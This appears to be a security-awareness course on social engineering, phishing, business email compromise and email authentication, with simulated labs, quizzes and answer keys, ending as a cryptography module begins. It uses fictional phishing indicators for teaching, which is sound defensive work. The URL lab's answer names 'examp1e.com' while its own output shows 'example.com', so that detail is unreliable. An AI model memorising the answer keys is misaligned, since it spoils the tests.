Social engineering manipulates people into giving up information, access or money. It works because humans are helpful, trusting and busy, and because organizations are built on cooperation. The attacker does not need a vulnerability in software; a convincing story is enough. Typical goals are credentials, a one-time code, a building entry, a wire transfer or the installation of malware.

It happens through email, phone, text, social media and in person. Techniques include phishing, pretexting, baiting (a USB stick left in a car park), tailgating (following someone through a secured door) and shoulder surfing.

Psychological levers

Attackers exploit predictable triggers. Authority: a message from the CEO or the tax office. Urgency: your account will close in one hour. Scarcity: only three places left. Trust and liking: a friendly voice who knows your manager's name. Social proof: everyone else has already complied. Reciprocity: a small favor creates a feeling of obligation. Fear and curiosity also work well.

The common thread is that these levers push you to act quickly and skip normal checks. A good habit is to treat any message that creates pressure, asks for secrecy or requests an unusual action as a signal to slow down and verify through another channel.

The pretexting cycle

Pretexting is inventing a believable scenario, such as an IT support technician, a new vendor or an auditor. The cycle starts with research, called open-source intelligence: company websites, social media profiles, job listings and data from earlier breaches reveal names, roles, tools and writing style. Next comes developing the pretext and building rapport, then exploitation, where the target performs the requested action, and finally exit without raising suspicion.

The more specific the details, the more convincing the story. This is why limiting what staff post publicly, such as badge photos or internal system names, reduces risk.

Why defenses must be human and process based

Technology helps, but people remain the last line, so organizations combine controls. Clear procedures remove the need to improvise: always call back on a known number, never share passwords or codes with anyone including IT, and require two-person approval for payments. Security awareness training with realistic simulations builds recognition, and a no-blame reporting channel encourages early alerts.

Physical measures include badge readers, visitor escorts, anti-tailgating policy and challenge-the-stranger culture. Importantly, a victim who reports quickly can often stop the damage, so reporting should be rewarded, never punished.

RED-FLAG CHECKLIST

- [] Unexpected request from authority
 - [] Pressure to act now or keep it secret
 - [] Asks for password, code or payment
 - [] Contact details differ from known ones
- > Stop. Verify through a known channel.

WORKED EXAMPLE

A caller says he is from the help desk and needs the employee's password because 'the server migration finishes in ten minutes'. He knows her manager's name, which he found on a professional networking site. Authority, urgency and rapport all appear. The employee refuses, hangs up and calls the help desk using the number on the intranet, which confirms no migration exists. She reports the call, and the security team warns colleagues to expect the same pretext.

KEY TERMS

Social engineering: Manipulating people to disclose information or perform actions that compromise security.

Pretexting: Using a fabricated scenario to gain trust and obtain information or access.

Tailgating: Following an authorized person into a restricted area without proper credentials.

Baiting: Luring victims with something attractive such as an infected USB drive.

OSINT: Open-source intelligence gathered from public information.

REMEMBER

- Attackers exploit authority, urgency, scarcity and trust.
- Pretexting relies on research and a believable story.
- Procedures and verification beat improvisation.

QUICK CHECK

1. Which is a psychological lever used by attackers?
 - A) Packet fragmentation
 - B) Salting
 - C) Checksum
 - D) Urgency
2. A caller you do not know asks for your password to fix your account. Best response:
 - A) Send it by email
 - B) Share half of it
 - C) Give it if they know your name
 - D) Refuse and verify via a known number
3. Following an employee through a badge door is called:
 - A) Sharding
 - B) Tailgating
 - C) Spoofing
 - D) Sniffing
4. Why reward quick reporting?
 - A) It hides incidents
 - B) Early reports limit damage
 - C) It reduces training cost only
 - D) It replaces MFA

Answers: 1-D 2-D 3-B 4-B

1. Urgency pushes victims to skip verification.
2. Verify through an independent channel and never share passwords.
3. It bypasses access control by exploiting politeness.
4. Fast action can stop a compromise from spreading.

Phishing, spear phishing and whaling

Phishing is the most common initial access method, so recognizing its variants and payloads directly reduces breach risk.

Mass phishing

Mass phishing sends the same message to thousands of recipients, impersonating a bank, a delivery company or a cloud service. Quality varies and the goal is volume. Common themes are account suspension, unpaid invoices, parcel delivery problems and password expiry notices.

Defenders see these in spam filters and can block the sender domain, URLs and attachment types. Reports from users help tune filters. Even poor phishing works at scale because a tiny percentage of recipients respond.

Spear phishing and whaling

Spear phishing targets a specific person or group using personal details: name, role, projects, colleagues. The message may refer to a real meeting or vendor. Whaling targets senior executives, who have high privileges and public profiles, with themes such as legal notices, board documents or regulatory complaints.

Because messages are tailored they bypass generic filters and rely on human judgment. Controls include executive-specific training, stricter approval workflows, impersonation protection in email security gateways and limiting public exposure of organization charts.

Credential harvesting and payloads

Credential harvesting sends users to a fake login page that looks identical to the real one. Submitted credentials, and sometimes MFA codes, go to the attacker. Adversary-in-the-middle kits proxy the real site and steal the session cookie after MFA, so authentication succeeds for the attacker. Phishing-resistant methods such as FIDO2 security keys and passkeys bind authentication to the genuine domain and defeat this.

The other variant delivers a payload: Office documents with macros, ISO or ZIP archives, HTML attachments, PDFs with links, or links to download an installer. Mark-of-the-web flags and macro blocking policies reduce the risk from downloaded files.

Indicators and response

Look at the sender address versus display name, mismatched or lookalike domains, generic greetings, unusual urgency, links whose real destination differs from the text, unexpected attachments and requests for credentials. Remember that attackers can use compromised legitimate accounts, so a known sender is not proof.

If you suspect phishing do not click, report using the report button or the security mailbox, and if you already clicked, change the password and tell security immediately. Responders search mailboxes for the same message, block the URLs and sender, reset affected credentials, revoke sessions and review sign-in logs.

MESSAGE INDICATORS

```
From: "IT Support" <helpdesk@example-support.net>
Subject: Password expires in 2 hours
Link text: https://portal.example.com/reset
Real URL: https://portal.example.com.verify-login.example.net/reset
```

WORKED EXAMPLE

The finance director receives an email that names her real project and appears to come from the audit firm. It contains a link to 'view the draft report' that opens a Microsoft-style sign-in page on a domain she does not recognize. Hovering shows a different host. She reports it. Security finds it was sent to eight executives, blocks the domain, and checks sign-in logs: one executive had entered credentials, so the account is reset and sessions revoked before anything is accessed.

KEY TERMS

Phishing: Fraudulent messages that trick recipients into revealing data or running malware.

Spear phishing: Phishing tailored to a specific individual or group.

Whaling: Spear phishing aimed at senior executives.

Credential harvesting: Capturing login details through a fake page.

AiTM phishing: A proxy-based attack that steals session tokens after MFA is completed.

REMEMBER

- Mass, spear and whaling phishing differ in targeting.
- Fake login pages steal credentials; payloads install malware.
- Report quickly and reset credentials if you clicked.

QUICK CHECK

1. Phishing aimed at a CEO is called:
 - A) Whaling
 - B) Smurfing
 - C) Tailgating
 - D) Bluejacking
2. Which method best resists adversary-in-the-middle phishing?
 - A) SMS codes
 - B) Longer passwords
 - C) Security questions
 - D) FIDO2 security keys
3. A link shows <https://bank.example.com> but hovering reveals a different host. This is:
 - A) A DNS record
 - B) An HSTS header
 - C) A red flag
 - D) Normal behavior
4. After clicking a phishing link and entering a password you should:
 - A) Wait a week
 - B) Forward the email widely
 - C) Change it and report immediately
 - D) Ignore it

Answers: 1-A 2-D 3-C 4-C

1. Whaling targets senior executives.
2. FIDO2 binds authentication to the real site.
3. Displayed and real destinations should match.
4. Fast reporting and resets limit damage.

Smishing, vishing and QR phishing

Attackers move to channels with fewer filters, so you need to recognize their patterns on phones and in print as well as in email.

Smishing

Smishing is phishing by SMS or messaging apps. Typical lures: a parcel that cannot be delivered, a toll or fine payment, a bank fraud alert or a code needed for a refund. The links often lead to short-lived domains and the sender may be a random number or a spoofed alphanumeric sender ID. Mobile screens hide full URLs, which makes inspection harder.

Defenses: do not tap links in unexpected texts, go to the official app or type the website yourself, report to your carrier's spam number such as forwarding to 7726 in many countries, and use mobile threat defense on managed devices.

Vishing and caller ID spoofing

Vishing is voice phishing. The caller may pose as bank fraud staff, tax authority, IT help desk or a relative. Caller ID spoofing lets an attacker display any number, including the real number of your bank, so a number on the screen proves nothing. Scripts create urgency and keep you on the line so you cannot verify.

Tactics include asking you to read out a one-time passcode, install remote access software or move money to a safe account. Banks and IT teams do not ask for full passwords or codes. Hang up and call back on the number printed on your card or on the official site.

QR phishing and MFA fatigue

QR phishing, or quishing, hides a malicious link in a QR code placed on emails, posters, parking meters or fake parcel notes. Because the code is an image it can evade link scanners, and the user scans it with a phone that lacks corporate protection. Preview the decoded URL before opening and be suspicious of codes that ask for credentials or payment.

MFA fatigue, or push bombing, occurs after an attacker has a valid password. They trigger repeated push notifications until the user approves one from annoyance or confusion, sometimes followed by a call from fake IT telling them to accept. Number matching, where the user must type a code shown on the login screen, limits this, as do alerting on repeated prompts and phishing-resistant authentication.

Putting it together

All of these attacks share a pattern: unsolicited contact, an emotional push, and a request to act through a channel the attacker controls. The defender's counter is also constant: break contact, verify independently and report.

For organizations, add mobile device management, URL filtering on mobile, clear policies that IT will never ask for codes by phone, and awareness training with SMS and voice simulations. Track metrics such as report rate, not only click rate, to see whether staff trust the reporting process.

MFA FATIGUE LOG (FICTIONAL)

```
03:12:04 push sent user=erin result=DENIED
03:12:41 push sent user=erin result=DENIED
03:13:20 push sent user=erin result=DENIED
03:14:02 push sent user=erin result=APPROVED src=203.0.113.88
```

WORKED EXAMPLE

An employee gets a text claiming a parcel fee of 1.50 is due, with a link. At the same time the help desk phone rings, showing an internal extension, and the caller asks her to approve the 'test' sign-in request on her phone. She notices four prompts at night and does not accept. She reports both events. Security finds the extension was spoofed, resets her password, enables number matching and adds an alert on more than three prompts in ten minutes.

KEY TERMS

Smishing: Phishing delivered through SMS or messaging apps.

Vishing: Voice phishing carried out by phone call.

Caller ID spoofing: Falsifying the number shown to the call recipient.

Quishing: Phishing that uses QR codes to deliver malicious links.

MFA fatigue: Flooding a user with push prompts until one is approved.

REMEMBER

- Attackers use SMS, phone and QR codes to avoid email filters.
- Caller ID and sender names are easily spoofed.
- Verify independently and report; use number matching.

QUICK CHECK

1. Caller ID can be trusted as proof of identity.
 - A) True for mobile only
 - B) True
 - C) False, it can be spoofed
 - D) True for banks only
2. Which control reduces MFA fatigue success?
 - A) Number matching
 - B) Longer SMS
 - C) Weaker timeouts
 - D) Shared accounts
3. QR phishing may evade email filters because:
 - A) QR codes are encrypted with AES
 - B) They use IPv6
 - C) They need no phone
 - D) The link is hidden in an image
4. A caller asks you to read a one-time passcode. You should:
 - A) Read it slowly
 - B) Confirm only the last digits
 - C) Text it back
 - D) Refuse and hang up

Answers: 1-C 2-A 3-D 4-D

1. Numbers displayed can be forged.
2. The user must enter a code from the login screen.
3. Scanners often do not decode images.
4. Nobody legitimate needs your passcode.

Business email compromise

BEC causes some of the largest financial losses of any cybercrime and often involves no malware at all, only convincing messages and process gaps.

What BEC is

Business email compromise is fraud in which an attacker impersonates a trusted party by email to trick staff into sending money or sensitive data. The FBI's Internet Crime Complaint Center has consistently ranked it among the costliest crime types, with reported losses in the billions of dollars per year. There may be no attachment or link, so technical filters see nothing wrong.

Attackers obtain access in two ways: spoofing or lookalike domains, or taking over a real mailbox through phishing or password reuse. A real mailbox is especially dangerous because messages come from the genuine account and may be threaded into existing conversations.

Common variants

CEO fraud: a message that appears to come from a senior executive asks an employee to make an urgent confidential transfer or buy gift cards. Invoice fraud: the attacker, posing as a vendor or inserted into a real thread, announces new bank details so that the next payment goes to their account. Payroll diversion asks HR to change an employee's direct deposit account. Attorney impersonation uses legal pressure and secrecy. Data theft variants request tax forms or employee lists.

Mailbox rules that forward or hide messages, such as automatically moving mail containing the word invoice to a hidden folder, are a classic sign of takeover.

Verification controls

The strongest controls are procedural. Verify any change of bank details by calling a known number from your vendor records, not one in the email. Require dual approval and a waiting period for new payees and for payments above a threshold. Confirm executive requests in person or through a second channel. Maintain a vendor master list and limit who can edit it.

Technical measures include MFA on every mailbox, disabling legacy protocols, alerts for new inbox rules and external forwarding, banner warnings on external email, and DMARC enforcement to block spoofing of your domain.

Response

If a fraudulent transfer is made, speed matters. Contact the bank immediately and ask for a recall or freeze, notify law enforcement (in the United States, file with the IC3 and ask the bank to start the financial fraud kill chain process), preserve the emails and headers, and investigate whether a mailbox was compromised.

Afterwards reset passwords, revoke sessions, remove malicious inbox rules, check for other fraud and notify affected partners. Treat the incident as a process failure as well as an attack: which approval step would have caught it?

SUSPICIOUS INBOX RULE

```
Rule name: .
Condition: subject or body contains "invoice" OR "payment"
Action: move to RSS Subscriptions, mark as read
Created: 2025-04-08 03:10 from 203.0.113.19
```

WORKED EXAMPLE

Accounts payable gets an email from a long-time supplier, in an existing thread, saying its bank has changed and attaching new details. The reply-to domain differs by one letter. A clerk follows procedure: calls the supplier on the number stored in the vendor system, who confirms nothing changed. The 48,000 payment is not sent. Security finds the supplier's own mailbox was compromised, warns them, and adds a rule that any bank change requires two approvals.

KEY TERMS

BEC: Fraud using impersonated or compromised business email to redirect money or data.

CEO fraud: BEC variant where the attacker poses as an executive demanding a transfer.

Invoice fraud: Changing payment details on a legitimate invoice flow to the attacker's account.

Mailbox rule: An email client rule that can be abused to hide or forward messages.

Out-of-band verification: Confirming a request through a separate, trusted communication channel.

REMEMBER

- BEC is fraud by impersonation, often without malware.
- Variants include CEO fraud, invoice fraud and payroll diversion.
- Out-of-band verification and dual approval stop most of it.

QUICK CHECK

1. Best defense against fraudulent bank detail changes:

- A) Trust the signature
- B) Wait a day
- C) Call the vendor on a known number
- D) Reply to the email

2. A hidden rule moving invoice emails suggests:

- A) Disk failure
- B) Mailbox takeover
- C) DNS failure
- D) Printer error

3. BEC often includes:

- A) No malware at all
- B) A kernel exploit
- C) A botnet only
- D) USB drives

4. Which process control reduces CEO fraud?

- A) Dual approval for payments
- B) Longer email subjects
- C) Larger attachments
- D) Fewer meetings

Answers: 1-C 2-B 3-A 4-A

1. Out-of-band verification defeats email-only fraud.
2. Attackers hide replies to stay undetected.
3. The fraud relies on persuasion and process gaps.
4. Two approvers make single-person deception much harder.

Spotting fakes and defending

Reading email headers and URLs lets you prove a message is fake rather than guessing, and layered defenses make fakes harder to deliver.

SPF, DKIM and DMARC

Three DNS-based mechanisms authenticate email. SPF lists the servers allowed to send for a domain in a TXT record, for example `v=spf1 ip4:192.0.2.25 -all`. DKIM adds a cryptographic signature in the DKIM-Signature header, verified using a public key published in DNS. DMARC ties them together: it requires that SPF or DKIM pass and align with the visible From domain and tells receivers what to do on failure, with policies none, quarantine or reject, plus reporting addresses.

The Authentication-Results header shows the outcome, such as `spf=pass dkim=pass dmarc=pass`. Failure on all three for a message claiming to be from your own domain is strong evidence of spoofing.

Reading headers

Open the full headers. The Received lines record each server hop, read from bottom (origin) to top (your server). Compare the From, Reply-To and Return-Path fields; a mismatch is a flag. Check the originating IP in the earliest trusted Received line and the Message-ID domain. Display names are free text and prove nothing.

Remember that headers can be forged below the point where your own server added its line, so trust only the entries your own infrastructure wrote. Header review is a supporting technique used together with content analysis.

Links and lookalike domains

Hover over links to see the real destination, and read the domain from right to left up to the registered name: in `login.example.com.verify.example.net` the real domain is `example.net`. Watch for lookalikes: `rn` for `m`, a zero for `o`, extra words like `-secure`, different top-level domains, and homograph attacks that use look-alike Unicode characters shown as punycode beginning with `xn--`. Shortened links hide the destination; use a preview or sandbox service.

Redirect chains hop through several sites to hide the final page. Never enter credentials after following an email link; open the site yourself or use a password manager, which will not autofill on a fake domain.

Organizational defenses

Layer controls: email gateway filtering and sandboxing of attachments, DMARC at reject for your own domain, external sender banners, MFA (preferably phishing-resistant), disabling macros from the internet, DNS and web filtering, and endpoint protection. Provide a one-click report button and a clear process for analysts to triage reports.

Awareness is continuous: short training, realistic simulations, feedback instead of punishment, and measuring report rates and time to report. Phishing simulations that shame staff reduce reporting, so keep the tone supportive.

AUTHENTICATION-RESULTS

```
Authentication-Results: mx.example.com;
  spf=fail smtp.mailfrom=billing@example.org (203.0.113.9 not permitted)
  dkim=none
  dmarc=fail header.from=example.org
Received: from unknown (HELO mail.bad.example) [203.0.113.9]
```

WORKED EXAMPLE

A message says it is from `payroll@example.org`. Headers show Return-Path `bounces@mailers.bad.example`, SPF fails because `203.0.113.9` is not listed for `example.org`, no DKIM signature exists, and DMARC fails with a reject policy. The message should not have been delivered; the gateway shows the policy was set to none. The analyst proves spoofing, purges copies from mailboxes, and recommends moving the domain's DMARC policy to quarantine and then reject after reviewing reports.

KEY TERMS

SPF: DNS record listing servers authorized to send mail for a domain.

DKIM: Cryptographic signing of email headers and body verified by a DNS-published key.

DMARC: Policy tying SPF and DKIM to the From domain with reporting and enforcement.

Lookalike domain: A domain visually similar to a legitimate one, used to deceive.

Punycode: ASCII encoding of internationalized domain names, shown as xn--.

REMEMBER

- Use Authentication-Results to check SPF, DKIM and DMARC.
- Read headers bottom-up and trust your own servers' lines.
- Combine technical filtering with training and easy reporting.

QUICK CHECK

1. Which header result proves SPF failure?
 - A) dkim=pass
 - B) dmarc=none
 - C) tls=1.3
 - D) spf=fail
2. DMARC policy p=reject tells receivers to:
 - A) Delete DNS
 - B) Scan ports
 - C) Reject failing mail
 - D) Deliver all mail
3. The real registered domain in login.example.com.verify.example.net is:
 - A) verify.example.com
 - B) example.net
 - C) example.com
 - D) login.example.com
4. Which Received line do you trust most?
 - A) The bottom line always
 - B) Those added by your own servers
 - C) Any top line only
 - D) Lines with friendly names

Answers: 1-D 2-C 3-B 4-B

1. spf=fail means the sending server is not authorized.
2. Reject instructs refusal of messages failing DMARC.
3. The registered domain is the rightmost part before the top-level domain.
4. Lower lines can be forged by the sender.

Triage a phishing inbox

SCENARIO

You work the shared inbox at Example Corp. Ten messages arrived overnight and the team needs them sorted before 9 a.m. For each message you must choose legitimate, phishing or BEC and name the single strongest indicator that supports your choice. The inbox viewer lets you open headers and hover links for each message. Every address uses documentation ranges or example domains, and no real organization is involved.

OBJECTIVE

Classify ten emails and name the strongest indicator for each.

STEPS IN THE SIMULATOR

- 1 **Do:** Open email 1: 'Parcel fee due' from no-reply@parcel-track.example.net with a link

Simulator shows:

Link preview shows `http://203.0.113.45/pay`.

- 2 **Do:** Classify as Phishing, indicator: link to bare IP

Simulator shows:

Correct.

- 3 **Do:** Open email 2: HR notice from internal address with calendar invite for annual review

Simulator shows:

Headers show `spf=pass dkim=pass dmarc=pass`.

- 4 **Do:** Classify as Legitimate

Simulator shows:

Correct; authentication passes and sender is known.

- 5 **Do:** Open email 3: 'CEO' asks for urgent gift cards, reply-to is a free webmail address

Simulator shows:

Display name matches executive, address does not.

- 6 **Do:** Classify as BEC, indicator: reply-to mismatch and unusual request

Simulator shows:

Correct.

- 7 **Do:** Open email 4: vendor changes bank details, in existing thread

Simulator shows:

Domain differs by one letter from the real vendor.

- 8 **Do:** Classify as BEC and finish remaining six

Simulator shows:

Score 10/10 after remaining messages classified.

ANSWER

Parcel fee message: phishing (bare IP link). HR calendar invite: legitimate (authenticated, expected). Gift card request: BEC (reply-to mismatch, urgency). Vendor bank change: BEC (one-letter lookalike domain plus payment change request). Use authentication results and the requested action as the strongest signals.

Hint shown in the app: Check what the message wants you to do and where the reply goes.

Read email headers

SCENARIO

A message that claims to be from the finance department at example.com asked an employee to open a shared document. The employee reported it. The log viewer shows the full raw headers. Use them to decide whether the sender is spoofed and record the evidence for the incident ticket. The viewer includes a lookup panel for DNS TXT records and highlights each Received line when selected. All names and addresses are fictional.

OBJECTIVE

Use the Received chain, Return-Path and SPF, DKIM and DMARC results to prove spoofing.

STEPS IN THE SIMULATOR

- 1 **Do:** Open raw headers and locate Authentication-Results

Simulator shows:

Shows spf=fail, dkim=none, dmarc=fail header.from=example.com.

- 2 **Do:** Read the Received chain from the bottom

Simulator shows:

Bottom hop: from mail.bad.example [203.0.113.9]; next hop is our gateway 192.0.2.25.

- 3 **Do:** Compare From and Return-Path

Simulator shows:

From finance@example.com; Return-Path bounces@mailers.bad.example.

- 4 **Do:** Check Reply-To

Simulator shows:

Reply-To: finance.team@example-mail.net.

- 5 **Do:** Query the SPF record for example.com in the lookup panel

Simulator shows:

v=spf1 ip4:192.0.2.0/24 -all; 203.0.113.9 not included.

- 6 **Do:** Mark 203.0.113.9 as the true origin

Simulator shows:

Marker saved.

- 7 **Do:** Choose verdict and recommended action

Simulator shows:

Verdict Spoofed; action: block sender IP, purge message, move DMARC to reject.

ANSWER

The message is spoofed: SPF fails because 203.0.113.9 is not an authorized sender for example.com, no DKIM signature exists, DMARC fails, Return-Path and Reply-To point to unrelated domains. Purge the mail, block the origin and enforce DMARC reject.

Hint shown in the app: Trust the lines added by your own gateway, not the sender's claims.

Dissect a malicious URL

SCENARIO

A user pasted a link from a text message into the helpdesk chat. It is shortened and obfuscated. In the isolated web proxy sandbox you can expand it, decode it and follow its redirects safely. Find the lookalike domain and the redirect chain, then decide how to block it. The sandbox never touches real sites. It replays recorded responses for the fictional domains, and it is safe to expand every hop.

OBJECTIVE

Decode a shortened URL, find the lookalike domain and map the redirect chain.

STEPS IN THE SIMULATOR

- 1 **Do:** Paste the short link into the expander

Simulator shows:

Resolves to `https://secure-login.example.com.verify-id.example.net/a?id=%68%65%6C%70`.

- 2 **Do:** Read the registered domain from the right

Simulator shows:

Registered domain: `verify-id.example.net`; `example.com` is only a subdomain label.

- 3 **Do:** Decode the percent-encoded parameter

Simulator shows:

`%68%65%6C%70` decodes to `help`.

- 4 **Do:** Follow redirects in the sandbox

Simulator shows:

302 to `https://cdn.example.net/land` then 302 to `203.0.113.70/login.php`.

- 5 **Do:** Open the final page screenshot

Simulator shows:

Fake sign-in form asking for email and password.

- 6 **Do:** Check certificate and age of domain

Simulator shows:

Certificate issued yesterday; domain registered 2 days ago.

- 7 **Do:** Add domain and IP to the blocklist

Simulator shows:

Blocklist updated; tag created: `phish-credential-harvest`.

ANSWER

The link is a credential-harvesting phish. The deceptive text `examp1e.com` (with the digit one) is just a subdomain; the real domain is `verify-id.example.net`, newly registered. It redirects through `cdn.example.net` to a fake login on `203.0.113.70`. Block the domains and IP and warn users.

Hint shown in the app: Find the last dot-separated pair before the first slash.

Handle a vishing call

SCENARIO

You are a help desk agent at Example Corp in a role-play simulation. A caller says he is the CFO traveling abroad, locked out, and needs a password reset immediately before a board call. Choose responses and verification steps that deny the attacker while still helping a real user. The chat panel shows the caller's lines and three answer choices per turn. Choices that leak information end the scenario with feedback so you can try again.

OBJECTIVE

Choose responses that verify the caller by a trusted channel and refuse to reset on request alone.

STEPS IN THE SIMULATOR

- 1 **Do:** Caller: 'I am the CFO, reset my password now, it is urgent.' Choose response: 'I need to verify you first.'

Simulator shows:

Caller pushes back: 'You know who I am. This costs the company money.'

- 2 **Do:** Select: 'Policy requires verification for everyone, I will call you back.'

Simulator shows:

Caller: 'My phone is dead, call this number instead: +1 555 0100.'

- 3 **Do:** Refuse the alternate number and say you will use the directory number

Simulator shows:

Caller becomes angry and mentions the CEO.

- 4 **Do:** Look up the CFO in the directory and call the listed mobile

Simulator shows:

Call goes to voicemail; real CFO is unreachable.

- 5 **Do:** Offer in-person or manager-approved reset through the ticket process

Simulator shows:

Caller hangs up.

- 6 **Do:** Log the incident and notify security

Simulator shows:

Ticket created; security notes the pretext and warns the team.

- 7 **Do:** Review score

Simulator shows:

Score 100: verification by known channel, no password disclosed.

ANSWER

The correct handling is to refuse the reset, verify through a known directory number or in-person with manager approval, ignore pressure and alternate numbers supplied by the caller, then log and report the attempt so colleagues are alerted.

Hint shown in the app: Do not accept contact details offered by the caller.

Social Engineering and Phishing: 10 questions, 80% to pass

1. Which lever is exploited by 'your account closes in one hour'?
 - A) Urgency
 - B) Salting
 - C) Hashing
 - D) Parity
2. A tailored email to a finance manager mentioning real projects is:
 - A) Mass phishing
 - B) Smishing
 - C) Quishing
 - D) Spear phishing
3. Phishing aimed at executives is called:
 - A) Tailgating
 - B) Vishing
 - C) Whaling
 - D) Pharming
4. QR code phishing is known as:
 - A) Vishing
 - B) Spoofing
 - C) Quishing
 - D) Smishing
5. MFA fatigue is best reduced by:
 - A) Email codes only
 - B) Number matching
 - C) Longer prompts
 - D) Removing MFA
6. The strongest single control against payment change fraud is:
 - A) Calling the vendor on a known number
 - B) Checking the signature block
 - C) Replying to ask
 - D) Reading the logo
7. SPF verifies:
 - A) The email body is encrypted
 - B) The user password
 - C) The recipient's address
 - D) Which servers may send for a domain
8. DMARC p=reject means:
 - A) Messages are archived
 - B) Only SPF is checked
 - C) DKIM is optional
 - D) Failing messages should be refused
9. A suspicious inbox rule that hides invoice emails indicates:
 - A) Disk cleanup
 - B) Spam filter update
 - C) Mailbox compromise
 - D) Normal organization
10. Which is the safest action for a text message about an unpaid toll?
 - A) Forward to a friend
 - B) Open the official site by typing it
 - C) Tap the link
 - D) Reply STOP and pay

Answers: 1-A 2-D 3-C 4-C 5-B 6-A 7-D 8-D 9-C 10-B

1. Time pressure discourages verification.
2. Targeted details indicate spear phishing.
3. Whaling targets senior staff.
4. Quishing uses QR codes.
5. Matching requires attention at the login screen.
6. Out-of-band verification confirms the request.
7. SPF lists authorized sending IPs.
8. Reject instructs receivers to refuse failing mail.
9. Attackers hide replies from the owner.
10. Go to the official source, not the link.

Cryptography Basics

Beginner | 8 lessons | 6 simulated labs | checkpoint | about 5h 30m

This module separates three tools that beginners confuse: encoding, encryption and hashing. You will study symmetric ciphers such as AES and their modes, public-key systems and key exchange, hashes, HMAC and salts, and digital signatures. You then see how certificates and PKI create trust, how the TLS 1.2 and 1.3 handshakes combine everything, and how passwords should be stored and how attackers crack weak ones. These ideas explain why secure connections work and why they sometimes fail.

BY THE END YOU CAN

- + Choose between encoding, encryption and hashing
- + Explain how keys, certificates and TLS protect a connection
- + Store passwords safely with salted slow hashes

IN THIS MODULE

Lesson 1 Encoding vs encryption vs hashing

Lesson 2 Symmetric encryption

Lesson 3 Asymmetric encryption and key exchange

Lesson 4 Hashing, HMAC and salting

Lesson 5 Digital signatures

Lesson 6 Certificates and PKI

Lesson 7 The TLS 1.2 and 1.3 handshake

Lesson 8 Password storage and cracking

Lab 1 Decode, decrypt and hash (Terminal)

Lab 2 Spot weak crypto choices (Config editor)

Lab 3 Verify a signed file (Terminal)

Lab 4 Inspect a certificate chain (File explorer)

Lab 5 Read a TLS handshake (Packet viewer)

Lab 6 Crack weak password hashes (Terminal)

Checkpoint 10 questions, 80% to pass

Encoding vs encryption vs hashing

Mixing up these three operations is one of the most common and costly mistakes in security, so you must know which one protects what.

Encoding is not secret

Encoding transforms data into another format so it can be stored or transmitted safely, with no key and no secrecy. Base64 turns binary bytes into 64 printable ASCII characters so they survive email or JSON, and URL encoding replaces unsafe characters with percent codes. Anyone can reverse it because the algorithm is public. The string 'dXNlcjpwYXNz' is simply 'user:pass' in Base64, which is exactly how HTTP Basic authentication carries credentials. Treating encoding as protection is a classic mistake: a Base64 value in a cookie or config file gives no confidentiality at all, and analysts decode such values in seconds.

Encryption is reversible with a key

Encryption transforms plaintext into ciphertext using an algorithm and a secret key, and only someone with the right key can reverse it. Its purpose is confidentiality. Symmetric ciphers such as AES use one shared key, while asymmetric ciphers such as RSA use a public and private key pair. The algorithm is public by design, following Kerckhoffs's principle: security must rest on the key, not on keeping the method secret. Use encryption when data must later be recovered, such as files on a laptop disk, database fields holding card numbers, or traffic crossing the internet.

Hashing is one way

A hash function maps input of any size to a fixed-size digest, for example 256 bits for SHA-256. It has no key and cannot be reversed. The same input always gives the same output, a tiny change gives a completely different output, and finding two inputs with the same digest should be infeasible. Hashes provide integrity checks, such as comparing a downloaded file against a published checksum, and they are the basis of password storage. You cannot decrypt a hash, but short or common inputs can still be guessed and re-hashed, which is why password hashing needs extra care.

Choosing the right tool

Ask what you need. If you only need a safe format for transport, use encoding. If you need to keep data secret but recover it later, use encryption. If you need to verify data without recovering it, or store a password, use hashing, ideally a purpose-built slow hash. If you need to prove who produced data, use a signature, covered later. Obfuscation, such as XOR with a fixed byte or ROT13, resembles encryption but offers no real strength, and malware uses it constantly. Remember: encoding hides nothing, encryption hides with a key, hashing destroys the original.

SAME TEXT, THREE OPERATIONS

```
$ echo -n 'hello' | base64
aGVsbG8= # encoding, reversible by anyone
$ echo 'aGVsbG8=' | base64 -d
hello
$ echo -n 'hello' | sha256sum
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
# hashing, fixed 64 hex characters, not reversible
```

WORKED EXAMPLE

A junior developer at Example Corp stores API tokens in a settings file as Base64 strings and calls them 'encrypted'. During a code review, a colleague pastes one string into a decoder and reads the token instantly. The fix is to store secrets in a vault, encrypting them with a managed key if they must be written to disk. For user passwords the team uses a salted slow hash instead, since the application never needs to read the original. Three data types, three correct tools: encoding for transport, encryption for recoverable secrets, hashing for verification.

KEY TERMS

Encoding: Format conversion with no key and no secrecy, such as Base64.

Encryption: Key-based reversible transformation that provides confidentiality.

Hash: Fixed-size one-way digest of input data.

Plaintext: Readable data before encryption.

Ciphertext: Encrypted output that looks random without the key.

REMEMBER

- Encoding is for format, encryption for secrecy, hashing for verification.
- Base64 and ROT13 are not protection.
- Choose by whether you need the original back.

QUICK CHECK

1. Which operation provides no confidentiality?
 - A) AES encryption
 - B) Base64 encoding
 - C) RSA encryption
 - D) TLS
2. Which operation is not reversible?
 - A) Hashing
 - B) Encoding
 - C) Symmetric encryption
 - D) Asymmetric encryption
3. You must store a credit card number and later recover it. Which fits?
 - A) Base64
 - B) SHA-256
 - C) Encryption
 - D) URL encoding
4. Kerckhoffs's principle says security should depend on what?
 - A) Secret algorithm
 - B) The key
 - C) Obscure file names
 - D) Short messages

Answers: 1-B 2-A 3-C 4-B

1. Base64 is public and reversible by anyone.
2. A hash discards the original input and cannot be decrypted.
3. Recoverable secrets need encryption with a protected key.
4. Algorithms should be public; only the key is secret.

Symmetric encryption

Symmetric ciphers do nearly all the bulk work of protecting data, and choosing the wrong mode or mishandling IVs can break them.

One key, fast and strong

Symmetric encryption uses the same secret key to encrypt and decrypt. It is fast, which makes it the choice for large data such as disks, backups and network streams. The standard is AES (Advanced Encryption Standard), adopted by NIST in 2001. It is a block cipher with a 128-bit block and key sizes of 128, 192 or 256 bits. AES-128 is considered strong for the foreseeable future, and AES-256 adds margin including against future quantum attacks on key search. Older ciphers are obsolete: DES has a 56-bit key and was brute-forced in the 1990s, and 3DES is deprecated. Stream ciphers such as ChaCha20 encrypt byte by byte and perform well on devices without AES hardware.

Block modes matter

